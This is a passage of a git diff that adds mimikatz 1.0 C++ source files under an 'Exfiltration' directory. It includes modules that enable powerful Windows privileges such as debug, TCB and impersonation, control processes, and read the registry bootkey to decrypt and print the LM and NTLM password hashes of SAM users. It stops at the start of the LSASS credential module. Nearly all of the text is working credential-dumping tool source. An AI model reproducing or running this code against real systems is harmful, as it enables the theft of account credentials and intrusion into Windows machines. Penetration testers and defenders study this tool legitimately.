multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); + return true; +} + +bool mod_mimikatz_privilege::remove(vector * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); + return true; +} + +bool mod_mimikatz_privilege::disable(vector * arguments) +{ + bool reussite = multiplePrivs(arguments, 0); + return true; +} + +bool mod_mimikatz_privilege::simplePriv(wstring priv, vector * arguments) +{ + bool ajout = arguments->empty(); + + (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilge : " << priv << L" : "; + + vector> * mesPrivs = new vector>; + mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); + + bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + +bool mod_mimikatz_privilege::multiplePrivs(vector * privs, DWORD type) +{ + bool reussite = false; + vector> * mesPrivs = new vector>; + for(vector::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) + { + mesPrivs->push_back(make_pair(*monPrivilege, type)); + } + reussite = mod_privilege::set(mesPrivs); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + + +bool mod_mimikatz_privilege::list(vector * arguments) +{ + vector> * mesPrivs = new vector>; + + if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) + { + for(vector>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) + { + (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; + + if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) + { + if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) + { + (*outputStream) << L"ENABLED_BY_DEFAULT "; + } + + if(monPrivilege->second & SE_PRIVILEGE_ENABLED) + { + (*outputStream) << L"ENABLED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) + { + (*outputStream) << L"USED_FOR_ACCESS "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED"; + } + } + + (*outputStream) << endl; + } + } + else (*outputStream) << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_privilege::debug(vector * arguments) +{ + simplePriv(SE_DEBUG_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::security(vector * arguments) +{ + simplePriv(SE_SECURITY_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::tcb(vector * arguments) +{ + simplePriv(SE_TCB_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::impersonate(vector * arguments) +{ + simplePriv(SE_IMPERSONATE_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::assign(vector * arguments) +{ + simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::shutdown(vector * arguments) +{ + simplePriv(SE_SHUTDOWN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::takeowner(vector * arguments) +{ + simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h new file mode 100644 index 00000000..f3dc739b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_privilege.h" +#include + +class mod_mimikatz_privilege +{ +private: + static bool multiplePrivs(vector * privs, DWORD type); + static bool simplePriv(wstring priv, vector * arguments); +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + static bool enable(vector * arguments); + static bool remove(vector * arguments); + static bool disable(vector * arguments); + + static bool debug(vector * arguments); + static bool security(vector * arguments); + static bool tcb(vector * arguments); + static bool impersonate(vector * arguments); + static bool assign(vector * arguments); + static bool shutdown(vector * arguments); + static bool takeowner(vector * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp new file mode 100644 index 00000000..d18ca8b9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp @@ -0,0 +1,298 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_process.h" +#include "..\global.h" + +vector mod_mimikatz_process::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Excute un processus, /paused et/ou /sudo")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'excution d\'un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); + return monVector; +} + +bool mod_mimikatz_process::start(vector * arguments) +{ + if(!arguments->empty()) + { + wstring commande = arguments->back(); + bool paused = false; + bool sudo = false; + + (*outputStream) << L"Demande d\'excution de : \'" << commande << L"'" << endl; + PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; + + switch(arguments->size()) + { + case 2: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + case 3: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else + goto doStartProcess_syntaxerror; + + if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + } + + if(mod_process::start(&commande, &pi, paused, sudo)) + { + if(paused) + (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; + + if(sudo) + (*outputStream) << L" * Le processus est dmarr avec de fausses donnes d\'identification" << endl; + + printInfosFromPid(pi.dwProcessId, pi.dwThreadId); + } + else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; + } + else + { +doStartProcess_syntaxerror: + (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; + } + + return true; +} + +bool mod_mimikatz_process::stop(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Fin de : " << procName << L'\t'; + if(mod_process::stop(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::suspend(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Suspension de : " << procName << L'\t'; + if(mod_process::suspend(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::resume(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Reprise de : " << procName << L'\t'; + if(mod_process::resume(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + + + +bool mod_mimikatz_process::list(vector * arguments) +{ + vector * vectorProcess = new vector(); + if(mod_process::getList(vectorProcess)) + { + (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; + for(vector::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << + monProcess->szExeFile << + endl; + } + } + else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; + + delete vectorProcess; + return true; +} + +bool mod_mimikatz_process::modules(vector * arguments) +{ + DWORD processId = 0 ; + + if(!arguments->empty() && !(arguments->size() > 1)) + { + wstringstream monBuffer; + monBuffer << arguments->front(); + monBuffer >> processId; + } + + vector * vectorModules = new vector(); + if(mod_process::getModulesListForProcessId(vectorModules, &processId)) + { + (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; + for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + { + (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; + } + } + else + (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + return true; +} + +bool mod_mimikatz_process::iat(vector * arguments) +{ + wstring process; + wstring module; + + switch(arguments->size()) + { + case 2: + process = arguments->at(0); + module = arguments->at(1); + break; + case 1: + process = arguments->at(0); + break; + default: + ; + } + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &process)) + { + if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) + { + if(module.empty() || (module.front() != L'*')) + { + if(module.empty()) + module.assign(process); + + mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); + if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) + { + printIATFromModule(monModule, monHandle); + } + else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; + delete monModule; + } + else + { + vector * vectorModules = new vector(); + if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) + { + for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + printIATFromModule(&*monModule, monHandle); + } + else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + } + + CloseHandle(monHandle); + } + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + + return true; +} + +void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) +{ + (*outputStream) << L"PID : " << PID << endl; + + if(ThreadId) + { + (*outputStream) << L"ThreadID : " << ThreadId << endl; + } + + LUID monId = {0, 0}; + if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) + { + (*outputStream) << "AuthId_h : " << monId.HighPart << endl; + (*outputStream) << "AuthId_l : " << monId.LowPart << endl; + } + else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; +} + +void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) +{ + (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; + PBYTE baseAddr = reinterpret_cast(monModule->modBaseAddr); + + vector>> * monIAT = new vector>>(); + if(mod_process::getIAT(baseAddr, monIAT, monHandle)) + { + for(vector>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) + { + (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; + for(vector::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) + { + (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; + if(maFonctionImporte->Ordinal != 0) + (*outputStream) << L"O# " << maFonctionImporte->Ordinal; + else + (*outputStream) << maFonctionImporte->funcName.c_str(); + (*outputStream) << endl; + } + } + } + delete monIAT; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h new file mode 100644 index 00000000..68f8428a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include + +class mod_mimikatz_process +{ +private: + static void printInfosFromPid(DWORD &PID, DWORD ThreadId); + static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); + +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + + static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + + + static bool modules(vector * arguments); + static bool iat(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp new file mode 100644 index 00000000..26f5798b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp @@ -0,0 +1,353 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_samdump.h" +#include "..\global.h" + +vector mod_mimikatz_samdump::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Rcupre la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Rcupre la bootkey depuis une ruche SYSTEM")); + return monVector; +} + +bool mod_mimikatz_samdump::bootkey(vector * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty()) + getInfosFromHive(arguments->front(), bootkey); + else + getInfosFromReg(bootkey); + return true; +} + +bool mod_mimikatz_samdump::full(vector * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) + { + if(getInfosFromHive(arguments->front().c_str(), bootkey)) + { + if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; + } + } + else + { + if(getInfosFromReg(bootkey)) + { + if(!getUsersAndHashesFromReg(bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; + } + } + return true; +} + +bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); + string * valAccountName = new string("F"); + int longueurF = 0; unsigned char *bufferF = NULL; + + if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) + { + BYTE hBootKey[0x20] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); + mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) + { + vector * keyNames = new vector(); + if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) + { + for(vector::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) + { + if(maKey->compare("Names") != 0) + { + string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); + string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; + string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; + + if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast(&userV), &longueurV) && + mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast(&userF), &longueurF)) + { + infosFromUserAndKey(userF, userV, hBootKey); + delete[] userF, userV; + } + delete keyUser; + } + } + } + delete keyNames; + } + delete nodeUsers, keyUsers; + } + delete[] bufferF; + } + delete valAccountName, keyAccountName; + } + delete rootKey; + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + + if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + DWORD nControlSet = 0; + if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) + { + stringstream * monControlSet = new stringstream; + *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; + string * fullControlSet = new string(monControlSet->str()); + delete monControlSet; + + wstring * computerName = new wstring(); + if(getComputerNameFromHive(monHive, fullControlSet, computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + delete fullControlSet; + } + } + delete rootKey; + mod_hive::RegCloseHive(monHive); + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) +{ + bool reussite = false; + + string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); + string * valComputerName = new string("ComputerName"); + int longueur = 0; unsigned char *buffer = NULL; + if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) + { + computerName->assign(reinterpret_cast(buffer), longueur / sizeof(wchar_t)); + delete[] buffer; + } + delete valComputerName; + delete keyComputerName; + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + unsigned char key[0x10]; + char *kn[] = {"JD", "Skew1", "GBG", "Data"}; + + for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) + { + string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); + mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); + + if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) + { + char kv[9] = {0}; + unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); + for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) + kv[j] = b[j*2]; + sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); + } + delete n, maKey; + } + + if(reussite) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + BYTE key[0x10] = {0}; + wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; + HKEY monLSA; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); + if(code == ERROR_SUCCESS) + { + for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) + { + HKEY monSecret; + code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); + if(code == ERROR_SUCCESS) + { + wchar_t monBuffer[8 + 1]; + DWORD maTaille = 8 + 1; + + code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); + else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(monSecret); + } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + } + RegCloseKey(monLSA); + } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; + + if(reussite = (code == ERROR_SUCCESS)) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + + + +bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) +{ + bool reussite = false; + + string * selectKey = new string(*rootKey); selectKey->append("\\Select"); + string * nDefault = new string("Default"); + int longueur = 0; unsigned char *buffer = NULL; + + if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) + { + if(reussite = (longueur == sizeof(DWORD))) + *nControlSet = *(DWORD *) (buffer); + delete[] buffer; + } + + delete nDefault, selectKey; + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + wstring * computerName = new wstring(); + if(mod_system::getComputerName(computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromReg(bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + + return reussite; +} + + +bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + HKEY maSAM; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); + if(code == ERROR_SUCCESS) + { + DWORD tailleRequise = 0; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE * bufferF = new BYTE[tailleRequise]; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE hBootKey[0x10] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + HKEY mesUsers; + code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); + if(code == ERROR_SUCCESS) + { + DWORD nombreUsers = 0, tailleMaxSousCle = 0; + code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); + if(reussite = (code == ERROR_SUCCESS)) + { + tailleMaxSousCle++; + wchar_t * monRid = new wchar_t[tailleMaxSousCle]; + for(DWORD i = 0; i < nombreUsers ; i++) + { + DWORD tailleRid = tailleMaxSousCle; + code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + { + if(_wcsicmp(monRid, L"Names") != 0) + { + HKEY monUser; + code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); + if(reussite &= (code == ERROR_SUCCESS)) + { + DWORD tailleF = 0, tailleV = 0; + if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) + { + mod_hash::USER_F * userF = reinterpret_cast(new BYTE[tailleF]); + mod_hash::USER_V * userV = reinterpret_cast(new BYTE[tailleV]); + + if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast(userF), &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast(userV), &tailleV) == ERROR_SUCCESS)) + infosFromUserAndKey(userF, userV, hBootKey); + + delete[] userF, userV; + } + RegCloseKey(monUser); + } + } + } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; + } + delete[] monRid; + } + RegCloseKey(mesUsers); + } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; + } + } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; + delete[] bufferF; + } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(maSAM); + } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; + + return reussite; +} + +void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) +{ + wstring hashLM, hashNTLM; + mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); + mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); + + (*outputStream) << endl << + L"Rid : " << userF->UserId << endl << + L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << + L"LM : " << hashLM << endl << + L"NTLM : " << hashNTLM << endl + ; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h new file mode 100644 index 00000000..6586d033 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hive.h" +#include "mod_hash.h" +#include "mod_system.h" +#include +#include + +class mod_mimikatz_samdump +{ +private: + static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); + static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); + + static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); + static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); + static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); + + static bool getBootKeyFromReg(BYTE bootkey[0x10]); + static bool getInfosFromReg(BYTE bootkey[0x10]); + static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); + + static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); +public: + static vector getMimiKatzCommands(); + + static bool bootkey(vector * arguments); + static bool full(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp new file mode 100644 index 00000000..d8832bcb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp @@ -0,0 +1,348 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_sekurlsa.h" +#include "..\global.h" +HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; +HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; +mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; 